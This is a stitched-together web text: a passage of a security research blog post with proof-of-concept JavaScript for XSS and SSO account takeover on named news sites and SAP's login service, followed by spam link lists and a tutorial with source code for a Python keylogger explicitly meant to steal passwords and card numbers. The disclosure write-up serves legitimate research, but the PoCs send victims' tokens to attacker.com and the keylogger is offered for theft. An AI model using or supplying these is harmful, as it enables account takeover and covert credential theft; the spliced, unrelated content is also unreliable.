listener:</span></div> <!--HTML generated using hilite.me--><div style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;"><pre style="line-height: 125%; margin: 0px; text-align: left;"><span style="color: #888888;">// webpack:///./jsx/src/unified-lire/lire-ui-bundle/components/fullPage/FullPageView.js</span> handleSsoPopupMessage <span style="color: #333333;">=</span> (e) <span style="color: #333333;">=></span> { <span style="color: #008800; font-weight: bold;">const</span> payload <span style="color: #333333;">=</span> receivePostMessage(e); <span style="color: #008800; font-weight: bold;">if</span> (payload.message <span style="color: #333333;">==</span> <span style="background-color: #fff0f0;">"SSO_ACTION_SUCCESS"</span>) { <span style="color: #007020;">window</span>.top.location.href <span style="color: #333333;">=</span> payload.props.redirectUri; } } <span style="color: #888888;">// webpack:///./jsx/src/utils/iFramePostMessages.js</span> receivePostMessage <span style="color: #333333;">=</span> (e) <span style="color: #333333;">=></span> { <span style="color: #008800; font-weight: bold;">if</span> (isNytimesDomain(e.origin)) <span style="color: #008800; font-weight: bold;">return</span> e.data; } isNytimesDomain <span style="color: #333333;">=</span> () <span style="color: #333333;">=></span> <span style="color: #008800; font-weight: bold;">true</span>; </pre></div> <div style="text-align: left;"><span style="font-size: 18.72px;"><br /></span></div><div style="text-align: left;"><span style="font-size: small; font-weight: normal;">As you might have noticed, the event listener wants to validate the origin of the postMessage with the `<span style="font-family: courier;">isNytimesDomain</span>` function, which returns `<span style="font-family: courier;">true</span>` for all origins. Then, it redirects to the URL sent in the postMessage by setting the `<span style="font-family: courier;">window.top.location.href</span>` property, but without validating the URL. We can use the `<span style="font-family: courier;">javascript</span>` scheme to achieve DOM-based XSS. Therefore, the attacker embeds the following PoC on its malicious website:</span></div> <!--HTML generated using hilite.me--><div style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; text-align: left; width: auto;"><pre style="line-height: 125%; margin: 0px; text-align: left;"><span style="color: #007020;">window</span>.popup <span style="color: #333333;">=</span> <span style="color: #007020;">window</span>.open(<span style="background-color: #fff0f0;">"https://myaccount.nytimes.com/auth/login"</span>, <span style="background-color: #fff0f0;">"_blank"</span>); setTimeout( () <span style="color: #333333;">=></span> { <span style="color: #007020;">window</span>.popup.postMessage({ <span style="background-color: #fff0f0;">"message"</span><span style="color: #333333;">:</span> <span style="background-color: #fff0f0;">"SSO_ACTION_SUCCESS"</span>, <span style="background-color: #fff0f0;">"props"</span><span style="color: #333333;">:</span> { <span style="background-color: #fff0f0;">"oauthProvider"</span><span style="color: #333333;">:</span> <span style="background-color: #fff0f0;">"google"</span>, <span style="background-color: #fff0f0;">"redirectUri"</span><span style="color: #333333;">:</span> <span style="background-color: #fff0f0;">"javascript:alert(document.domain)"</span>, <span style="background-color: #fff0f0;">"action"</span><span style="color: #333333;">:</span> <span style="background-color: #fff0f0;">"LOGIN"</span> } }, <span style="background-color: #fff0f0;">"*"</span>); }, <span style="color: #0000dd; font-weight: bold;">2000</span>); </pre></div> <h4 style="text-align: left;"><span style="font-size: 18.72px;">Responsible Disclosure</span></h4><ul style="text-align: left;"><li><b>2020-08-27</b>: Initial report sent to The New York Times via <a href="https://hackerone.com/disclosure-assistance?type=team" target="_blank">HackerOne Disclosure Assistance</a></li><li><span><b>2020-09-09</b>: Acknowledged by <a href="https://hackerone.com" target="_blank">HackerOne</a></span></li><li><span><b>2020-11</b>: Fixed with a domain whitelist: `<span style="font-family: courier;">["nytimes.com", "captcha-delivery.com", "localhost"].includes(...)</span>`</span></li></ul><h3 id="vuln-2-account-takeover-on-cbsnewscom-cnetcom-and-zdnetcom" style="text-align: left;"><span style="font-size: 18.72px;">Vuln. 2) Account Takeover on cbsnews.com, cnet.com, and zdnet.com</span></h3><div><span>The websites <a href="http://cbsnews.com">cbsnews.com</a>, <a href="http://cnet.com">cnet.com</a>, and <a href="http://zdnet.com">zdnet.com</a> are brands of the <a href="https://cbsinteractive.com" target="_blank">CBS Interactive group</a> and were vulnerable to a full account takeover due to an insufficient destination check in the `<span style="font-family: courier;">postMessage</span>` function. Since the websites use a common authentication system, all three websites (and even more) were equally vulnerable.</span></div><div><span>In the following, we demonstrate the attack applied on <a href="http://cnet.com">cnet.com</a>:</span></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWMe1i-oAnMr5XLrqE024f0i1pGDs2hHwZ3s7WiVZBbYQ-N6YNH7gd-GTc1CkMDhL4SKwNS0o7U_8_7ZvJiLKGkfh1165y_P96I3HqkdWj4kJdw3e6k3MZzz7T5VIHnhfH2epKkQ/s1339/4_cbsinteractive.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="489" data-original-width="1339" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWMe1i-oAnMr5XLrqE024f0i1pGDs2hHwZ3s7WiVZBbYQ-N6YNH7gd-GTc1CkMDhL4SKwNS0o7U_8_7ZvJiLKGkfh1165y_P96I3HqkdWj4kJdw3e6k3MZzz7T5VIHnhfH2epKkQ/w640-h234/4_cbsinteractive.png" width="640" /></a></div><br /><span>The SSO flow on <a href="http://cnet.com">cnet.com</a> involves a popup window and an iframe on the primary window. The iframe loads the <a href="https://github.com/oyvindkinsey/easyXDM" target="_blank">easyXDM library</a>, which is (insecurely) used as a proxy between the popup window and the primary window.</span></div><div><span><br /></span></div><div><span>If the user clicks the "Continue with Facebook" button on <a href="http://cnet.com">cnet.com</a>, the Login Endpoint is opened in a new popup window. In return, it redirects the Authentication Request to Facebook. The user signs in, grants the consent, and the popup is redirected to the Redirection Endpoint. The backend receives the code, redeems it, creates a custom `<span style="font-family: courier;">accessCredential</span>`, and returns JavaScript that calls the `<span style="font-family: courier;">setAccessCredentials</span>` function in the iframe. The `<span style="font-family: courier;">accessCredential</span>` is passed as a parameter to that function such that the iframe receives it. Note that this JavaScript callback only works because the iframe and popup window share the same origin.</span></div><div><span>Finally, the proxy iframe relays the `<span style="font-family: courier;">accessCredential</span>` to the primary window using postMessage. The postMessage destination origin is retrieved from the `<span style="font-family: courier;">xdm_e</span>` query parameter of the iframe URL. Note that this parameter is not validated, which is the core vulnerability in this flow.</span></div><div><span>To exploit this vulnerability, an attacker registers a postMessage event listener that will later receive the victim's `<span style="font-family: courier;">accessCredential</span>` on its malicious website. It then embeds the proxy iframe and loads it with the `<span style="font-family: courier;">xdm_e=https://attacker.com</span>` query parameter. Finally, the URL that starts the SSO flow is opened in a new popup window.</span></div> <!--HTML generated using hilite.me--><div style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;"><pre style="line-height: 125%; margin: 0px;"><span style="color: #007020;">window</span>.addEventListener(<span style="background-color: #fff0f0;">"message"</span>, (e) <span style="color: #333333;">=></span> { alert(e.data); }); <span style="color: #007020;">window</span>.iframe <span style="color: #333333;">=</span> <span style="color: #007020;">document</span>.createElement(<span style="background-color: #fff0f0;">"iframe"</span>); <span style="color: #007020;">window</span>.iframe.name <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"easyXDM"</span>; <span style="color: #007020;">window</span>.iframe.src <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"https://urs.cnet.com/pageservices/social/oauth/proxy?xdm_e=https%3A%2F%2Fattacker.com&xdm_c=urs375&xdm_p=1"</span>; <span style="color: #007020;">window</span>.iframe.onload <span style="color: #333333;">=</span> () <span style="color: #333333;">=></span> { <span style="color: #007020;">window</span>.open(<span style="background-color: #fff0f0;">"https://urs.cnet.com/pageservices/social/oauth/connect/facebook/375?extras=%7B%22requestType%22%3A%22SOCIAL_AUTH%22%2C%22version%22%3A%22v2.2%22%7D&frameId=easyXDM"</span>, <span style="background-color: #fff0f0;">"_blank"</span>); } </pre></div> <div><span><br /></span></div><div><span>If the victim visits the malicious website, is logged in on Facebook, and has valid consent for `<span style="font-family: courier;">cnet.com</span>`, the malicious website automatically receives the victim's `<span style="font-family: courier;">accessCredential</span>`, enabling the attacker to gain access to the victim's account.</span></div><h4 style="text-align: left;"><span>Responsible Disclosure</span></h4><div><span><div><ul style="text-align: left;"><li><b>2020-08-09</b>: Initial report sent to <a href="mailto:support.cnet@cbsinteractive.com">support.cnet@cbsinteractive.com</a></li><li><b>2020-08-11</b>: Acknowledged by CNET Customer Support</li><li><b>2020-08-28</b>: Fix provided with an access control list containing insecure regular expressions: `<span style="font-family: courier;">/^.*\.cnet\.com((\/.*)?)$/</span>` is valid for `<span style="font-family: courier;">xdm_e=https://attacker.com/.cnet.com</span>`</li><li><b>2020-08-28</b>: Second report sent to <a href="mailto:support.cnet@cbsinteractive.com" target="_blank">support.cnet@cbsinteractive.com</a></li><li><b>2020-08-29</b>: Acknowledged by CNET Customer Support</li><li><b>2020-09-04</b>: Fix provided with secure regular expressions: `<span style="font-family: courier;">/^(https:\/\/)([a-zA-Z0-9\-]+\.)*cnet\.com((\/.*)?)$/</span>`</li></ul></div></span></div><h3 id="vuln-3-account-takeover-in-sap-customer-data-cloud-gigya" style="text-align: left;"><span style="font-size: 18.72px;">Vuln. 3) Account Takeover in SAP Customer Data Cloud (GIGYA)</span></h3><div>The SAP Customer Data Cloud, formally known as <a href="https://www.sap.com/acquired-brands/what-is-gigya.html" target="_blank">GIGYA</a>, offers SSO as a Service: It acts both as IdP for its customers and SP for Google, Facebook, and other public IdPs. For instance, <a href="http://www.independent.co.uk">www.independent.co.uk</a> and <a href="http://abc.es">abc.es</a> integrate the SAP IdP to offer both Google and Facebook SSO with a single codebase.</div><div>We discovered a vulnerability in the postMessage configuration that led to an account takeover on all websites integrating the SAP identity brokerage service for SSO.</div><div>We demonstrate the attack applied on <a href="http://www.independent.co.uk" target="_blank">www.independent.co.uk</a> as follows:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7kfiJMK3gTyUaeLdsX8-54WnFq0tL7i3o1b9yT2gDbDZWQlflSJe7P4fZ55nbAELqV9LGDZDeN7Zp6zRIsVPIRNCg2gBOlcsu22zH8iYy3bEMrL3KzPD3V_7pyWrm9I76p-2y5g/s1192/4_sap.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="539" data-original-width="1192" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7kfiJMK3gTyUaeLdsX8-54WnFq0tL7i3o1b9yT2gDbDZWQlflSJe7P4fZ55nbAELqV9LGDZDeN7Zp6zRIsVPIRNCg2gBOlcsu22zH8iYy3bEMrL3KzPD3V_7pyWrm9I76p-2y5g/w640-h290/4_sap.png" width="640" /></a></div><br /><div>The SSO flow is started from the SP website by opening the Authentication Request<span style="font-size: xx-small;">SAP</span> in a new popup window. This request defines the public IdP (Google) and the domain of the SP website that will finally receive the tokens from the SAP IdP. This domain is not validated correctly: It rejects trivial manipulations (i.e., `<span style="font-family: courier;">domain=https://attacker.com</span>` or `<span style="font-family: courier;">domain=https://www.independent.co.uk.attacker.com</span>`) but fails to detect the `<span style="font-family: courier;">user:pwd@host.com</span>` Basic Authentication URI component.</div><div><br /></div><div>Thus, an attacker can create a malicious website that opens the Authentication Request<span style="font-size: xx-small;">SAP</span> in a new popup window, sets the `<span style="font-family: courier;">client_id</span>` to some targeted SP, and the domain to the URL of that SP with an appended `<span style="font-family: courier;">@attacker.com</span>`. The SAP IdP generates an Authentication Request<span style="font-size: xx-small;">Google</span> and redirects the popup to that URL. It further associates the `<span style="font-family: courier;">domain</span>` with the `<span style="font-family: courier;">state</span>`. Note that from Google's perspective, the SP is the SAP IdP. After authentication and consent, Google redirects back to the Redirection Endpoint<span style="font-size: xx-small;">SAP</span>. The SAP IdP receives the `<span style="font-family: courier;">code</span>`, redeems it at Google, authenticates the user, creates custom authentication tokens, and finally returns JavaScript, which uses postMessage to return the custom authentication tokens to the SP. Note that the postMessage destination origin is set to the initial domain parameter: `<span style="font-family: courier;">https://[...]@attacker.com</span>`. The backend uses the `<span style="font-family: courier;">state</span>` to retrieve the associated `<span style="font-family: courier;">domain</span>`.</div><div><br /></div><div>If a victim visits the malicious website, is logged in at Google, and has valid consent, the attacker can immediately receive the tokens from SAP that authenticate the victim on the targeted SP:</div> <!--HTML generated using hilite.me--><div style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;"><pre style="line-height: 125%; margin: 0px;"><span style="color: #007020;">window</span>.addEventListener(<span style="background-color: #fff0f0;">"message"</span>, (e) <span style="color: #333333;">=></span> { alert(e.data);}); <span style="color: #007020;">window</span>.open(<span style="background-color: #fff0f0;">"https://socialize.us1.gigya.com/socialize.login?x_provider=googleplus&client_id=2_bkQWNsWGVZf-fA4GnOiUOYdGuROCvoMoEN4WMj6_YBq4iecWA-Jp9D2GZCLbzON4&redirect_uri=%2FGS%2FAfterLogin.aspx&response_type=server_token&state=domain%3Dhttps%253A%252F%252Fwww.independent.co.uk:pwd@attacker.com"</span>, <span style="background-color: #fff0f0;">"_blank"</span>); </pre></div> <div><br /></div><h4 style="text-align: left;">Responsible Disclosure</h4><div><div><ul style="text-align: left;"><li><b>2020-08-05</b>: Initial report sent to <a href="mailto:Secure@sap.com" target="_blank">Secure@sap.com</a></li><li><b>2020-08-18</b>: Acknowledged by SAP</li><li><b>2020-09-17</b>: Fixed validation on backend server</li></ul></div></div><div><h2>Acknowledgments</h2><div>My thesis was supervised by <a href="https://twitter.com/CheariX">Christian Mainka</a>, <a href="https://twitter.com/v_mladenov">Vladislav Mladenov</a>, and <a href="https://twitter.com/JoergSchwenk">Jörg Schwenk</a>. Huge "thank you" for your continuous support, advice, and dozens of helpful tips. </div><div>Also, special thanks to <a href="https://twitter.com/_lauritz_">Lauritz</a> for his feedback on this post and valuable discussions during the research. Check out his blog post series on <a href="https://security.lauritz-holtmann.de/post/sso-security-overview/">Real-life OIDC Security</a> as well.</div><div><br /></div><h2>Authors of this Post</h2><div>Louis Jannett</div></div><h3>Continue reading</h3><br><ul><li> <a href="https://www.google.jo/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F06%2Fiox-tool-for-port-forward-intranet-proxy.html">Hackers Toolbox </a></li><li> <a href="https://www.google.ga/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F07%2Fnatlas-scaling-network-scanning.html">Hack Apps </a></li><li> <a href="https://www.google.jp/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F02%2Fpcfg-cracker-probabilistic-context-free.html">Hacker Tools 2019 </a></li><li> <a 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href="http://www.firefox.com/">Firefox</a> web application security testing tools designed to be lightweight and easy to use. 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Along with this <a href="http://sector.ca/">SecTor</a> is making the audio of the talk <a href="http://www.sector.ca/Presentations/Videos/SecTor%202007%20-%20Rohit%20Sethi%20Nish%20Bhalla.wmv">available</a>." <a href="http://securitycompass.com/exploitme.shtml"><span style="font-weight: bold;">read more...</span></a><br /></div><br /><br /><br />Website: <a style="font-weight: bold;" href="http://securitycompass.com/exploitme.shtml">http://securitycompass.com/exploitme.shtml</a><br /><p></p><b>Read more</b><br><ul><li> <a href="https://www.google.by/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fvideo.hacking.reviews%2F2020%2F08%2Fdef-con-safe-mode-rogues-village-james.html">Hack Tools For Games </a></li><li> <a href="https://www.google.es/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fvideos.hacking.land%2F2020%2F04%2Fexplorando-vulnerabilidades-aplicacion.html">Hacker </a></li><li> <a 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font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.</div> <h2 style="background-color: white; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 30px; line-height: 1.2; margin: 0px 0px 16px;"> How to make a python keylogger?</h2> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="392" src="https://i0.wp.com/i.ytimg.com/vi/x8GbWt56TlY/maxresdefault.jpg?resize=1280%2C720&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="697" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Requirements to create a python keylogger</div> <ul style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin: 0px 0px 26px 40px; padding: 0px;"> <li style="box-sizing: border-box; list-style-type: disc;">Computer With Operating system: Windows, Mac os or Linux</li> <li style="box-sizing: border-box; list-style-type: disc;">Python must be installed on the system</li> <li style="box-sizing: border-box; list-style-type: disc;">Pip (Python index package ) you will need this to install python software packages.</li> <li style="box-sizing: border-box; list-style-type: disc;">Pypiwin32 and PyHook packages</li> <li style="box-sizing: border-box; list-style-type: disc;">Basic understanding of computers</li> </ul> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <span style="box-sizing: border-box; font-weight: 700;">Part 1: Downloading Python and pip, setting up the environment to create the keylogger.</span><span style="box-sizing: border-box; font-weight: 700;">Step 1:</span></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Download python development kit by clicking <a href="https://www.python.org/downloads/" rel="noopener" style="box-sizing: border-box; color: #27a3d1; text-decoration-line: none; transition: all 0.1s ease-in-out;" target="_blank"><span style="box-sizing: border-box; font-weight: 700;">here.</span></a></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="318" src="https://i0.wp.com/geekviews.tech/wp-content/uploads/2017/02/python1.png?resize=696%2C318&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="696" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <span style="box-sizing: border-box; font-weight: 700;">Step 2:</span></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Installation of python is pretty simple.Open the python setup file, <span style="box-sizing: border-box; font-weight: 700;">Mark the checkboxes</span> Very important else you have to set the python path manually, and click on Install Now.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="405" src="https://i0.wp.com/geekviews.tech/wp-content/uploads/2017/02/pyhton2.png?w=664&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="664" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <span style="box-sizing: border-box; font-weight: 700;">Step 3:</span></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> To download pip go to<a href="https://pip.pypa.io/en/stable/installing/" rel="noopener" style="box-sizing: border-box; color: #27a3d1; text-decoration-line: none; transition: all 0.1s ease-in-out;" target="_blank"> https://pip.pypa.io/en/stable/installing/</a> and Save link as by right clicking on <span style="box-sizing: border-box; font-weight: 700;">get-pip.py. </span>when the download is done, just run the get-pip.py file.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="322" src="https://i0.wp.com/geekviews.tech/wp-content/uploads/2017/02/python3-1.png?resize=696%2C322&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="696" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="353" src="https://i1.wp.com/geekviews.tech/wp-content/uploads/2017/02/python4.png?w=579&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="579" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Now click on the Advanced system settings</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="327" src="https://i1.wp.com/geekviews.tech/wp-content/uploads/2017/02/python5.png?resize=696%2C327&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="696" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Choose Environment Variables.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="367" src="https://i2.wp.com/geekviews.tech/wp-content/uploads/2017/02/python6.png?w=390&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="390" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Choose <span style="box-sizing: border-box; font-weight: 700;">New, </span>Set the <span style="box-sizing: border-box; font-weight: 700;">Variable name</span>: PATH and <span style="box-sizing: border-box; font-weight: 700;">Variable value</span> as C:\Python27\Scripts</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Click on ok.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="570" src="https://i2.wp.com/geekviews.tech/wp-content/uploads/2017/02/python7.png?w=645&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="645" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <span style="box-sizing: border-box; font-weight: 700;">Part 2: Installing Pypiwin32 and PyHook python Packages using pip:</span></div> <div class="google-auto-placed ap_container" style="background-color: white; box-sizing: border-box; clear: none; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; height: auto; text-align: center; width: 697px;"> <ins class="adsbygoogle adsbygoogle-noablate" data-ad-client="ca-pub-7735683911341267" data-ad-format="auto" data-adsbygoogle-status="done" style="background-color: transparent; box-sizing: border-box; display: block; margin: auto;"><ins id="aswift_9_expand" style="background-color: transparent; border: none; box-sizing: border-box; display: inline-table; height: 0px; margin: 0px; padding: 0px; position: relative; visibility: visible; width: 697px;"><ins id="aswift_9_anchor" style="background-color: transparent; border: none; box-sizing: border-box; display: block; height: 0px; margin: 0px; opacity: 0; overflow: hidden; padding: 0px; position: relative; visibility: visible; width: 697px;"><iframe allowfullscreen="true" allowtransparency="true" frameborder="0" height="175" hspace="0" id="aswift_9" marginheight="0" marginwidth="0" name="aswift_9" scrolling="no" style="box-sizing: border-box; height: 175px; left: 0px; max-width: 100%; position: absolute; top: 0px; width: 697px;" vspace="0" width="697"></iframe></ins></ins></ins></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Open Command Prompt(CMD) and type:<span style="box-sizing: border-box; font-weight: 700;"> pip installs Pypiwin32</span> press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: <span style="box-sizing: border-box; font-weight: 700;">pip install PyHook </span>press the Enter Key and wait for the installation to complete.When done close the Command Prompt.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="364" src="https://i1.wp.com/geekviews.tech/wp-content/uploads/2017/02/python9.png?resize=696%2C364&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="696" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <span style="box-sizing: border-box; font-weight: 700;">Part 3: Creating and testing the python keylogger:</span></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="420" src="https://i2.wp.com/geekviews.tech/wp-content/uploads/2017/02/python8.png?resize=670%2C420&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="670" /></div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Go to the File, from the drop-down menu choose New file.</div> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> <img class="size-medium aligncenter jetpack-lazy-image--handled" data-lazy-loaded="1" height="479" src="https://i1.wp.com/geekviews.tech/wp-content/uploads/2017/02/python10.png?resize=696%2C479&ssl=1" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto 20px; max-width: 100%;" width="696" /></div> <h3 style="background-color: white; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 24px; line-height: 1.2; margin: 0px 0px 16px;"> Python Keylogger source code:</h3> <div style="background-color: white; box-sizing: border-box; color: #666666; font-family: Raleway, sans-serif; font-size: 16px; margin-bottom: 26px; padding: 0px;"> Copy these lines of code and paste into the new file. <span style="box-sizing: border-box; font-weight: 700;">Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt'</span> this will create a folder named test in C save the log.txt file there when the Keylogger start.</div> <blockquote style="background-color: white; box-sizing: border-box; color: #999999; font-family: Raleway, sans-serif; font-size: 16px; margin: 40px 40px 24px;"> <div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> import pyHook, pythoncom, sys, logging</div> <div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> file_log='F:\\test\\log.txt'</div> <div style="box-sizing: border-box; margin-bottom: 26px; padding: 0px;"> def onKeyboardEvent(event):<br style="box-sizing: border-box;" />logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')<br style="box-sizing: border-box;" />chr(event.Ascii)<br style="box-sizing: border-box;" />logging.log(10,chr(event.Ascii))<br style="box-sizing: border-box;" />return True</div> 